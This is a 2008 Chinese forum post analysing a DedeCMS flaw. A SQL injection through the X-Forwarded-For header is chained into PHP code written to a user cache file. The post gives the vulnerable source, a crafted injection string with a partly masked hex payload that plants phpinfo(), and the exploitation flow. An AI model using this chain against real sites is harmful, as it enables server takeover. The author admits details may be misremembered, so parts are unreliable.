找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 767|回复: 0

Dedecms getip()的漏洞利用

[复制链接]

8

主题

12

回帖

26

牛毛

初生牛犊

积分
26
发表于 2008-5-18 15:09:02 | 显示全部楼层 |阅读模式 来自 江苏省连云港市
flyh4t在非安全发布了dedecms getip()的注射漏洞,漏洞本身的成因没什么好说的老掉牙的X-Forwarded-For的问题,我想这个漏洞很多人都找到了,不过这个漏洞的利用有个地方还是可以说说的,可以直接得到shell:

在用户登陆后把用户信息写如了缓存:\\include\\inc_memberlogin.php

function FushCache($mid=0)
{
if(empty($mid)) $mid = $this->M_ID;
$dsql = new DedeSql();
$row = $dsql->GetOne(\"Select ID,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpm From #@__member where ID='{$mid}' \");
if(is_array($row))
{
$scrow = $dsql->GetOne(\"Select titles From #@__scores where integral<={$row[&#39;scores&#39;]} order by integral desc\");
$row[&#39;honor&#39;] = $scrow[&#39;titles&#39;];
}
if(is_array($row)) return WriteUserInfos($mid,$row); //这里
else return &#39;&#39;;
}

WriteUserInfos()的代码:

//写入用户的会话信息
function WriteUserInfos($uid,$row)
{
$tpath = ceil($uid/5000);
$ndir = dirname(__FILE__).\"/cache/user/$tpath/\";
if(!is_dir($ndir)){
mkdir($ndir,0777);
chmod($ndir,0777);
}
$userfile = $ndir.$uid.&#39;.php&#39;;
$infos = \"<\".\"?php\\r\\n\";
$infos .= \"\\$cfg_userinfos[&#39;wtime&#39;] = &#39;\".mytime().\"&#39;;\\r\\n\";
foreach($row as $k=>$v){
if(ereg(&#39;[^0-9]&#39;,$k)){
$v = str_replace(\"&#39;\",\"\\\\&#39;\",$v); //这个是利用的关键 :)
$v = ereg_replace(\"(<\\?|\\?>)\",\"\",$v);
$infos .= \"\\$cfg_userinfos[&#39;{$k}&#39;] = &#39;{$v}&#39;;\\r\\n\";
}
}
$infos .= \"\\r\\n?\".\">\";
@$fp = fopen($userfile,&#39;w&#39;);
@flock($fp);
@fwrite($fp,$infos);
@fclose($fp);
return $infos;
}

我们构造$ipp=\"121.11.11.1&#39;,uname=0x686****7655C273B706****0696E666F28***93B2F2F,uptime=&#39;1\";

mysql> select 0x686****7655C273B706****0696E666F28***93B2F2F;
+--------------------------------------------+
| 0x686****7655C273B706****0696E666F28***93B2F2F |
+--------------------------------------------+
| heige\\&#39;;phpinfo();// |
+--------------------------------------------+
1 row in set (0.00 sec)

利用流程:
A:
else{ //成功登录
//$ipp=\"121.11.11.1&#39;,uname=0x686****7655C273B706****0696E666F28***93B2F2F,uptime=&#39;1\";
$dsql->ExecuteNoneQuery(\"update #@__member set logintime=&#39;\".mytime().\"&#39;,loginip=&#39;\".$ipp.\"&#39; where ID=&#39;{$row[&#39;ID&#39;]}&#39;;\");


B:FushCache()

$row = $dsql->GetOne(\"Select ID,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpm From #@__member where ID=&#39;{$mid}&#39; \");

C:WriteUserInfos()

heige\\&#39;;phpinfo();// ---str_replace-->heige\\\\&#39;;phpinfo();//---fwrite--->heige\\\\&#39;;phpinfo();//

===>$cfg_userinfos[&#39;uname&#39;] = &#39;heige\\\\&#39;;phpinfo();//&#39;; 完美闭和前面的&#39; :)

其中str_replace的部分相当于代码:

<?php
$v=\"heige\\&#39;;phpinfo();//\";
$v = str_replace(\"&#39;\",\"\\\\&#39;\",$v);
print $v;
?>

整个过程其实就是一个很完整的\"二次攻击\",而str_replace(\"&#39;\",\"\\\\&#39;\",$v);起了关键性的作用 :)

[因为这个漏洞当我pc上有那么段时间了,这个文章很多都是凭记忆写的,可能有错误,有兴趣的同学可以自己跟一下。]
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5用户社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-1-12 01:34 , Processed in 0.150659 second(s), 23 queries , Yac On.

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表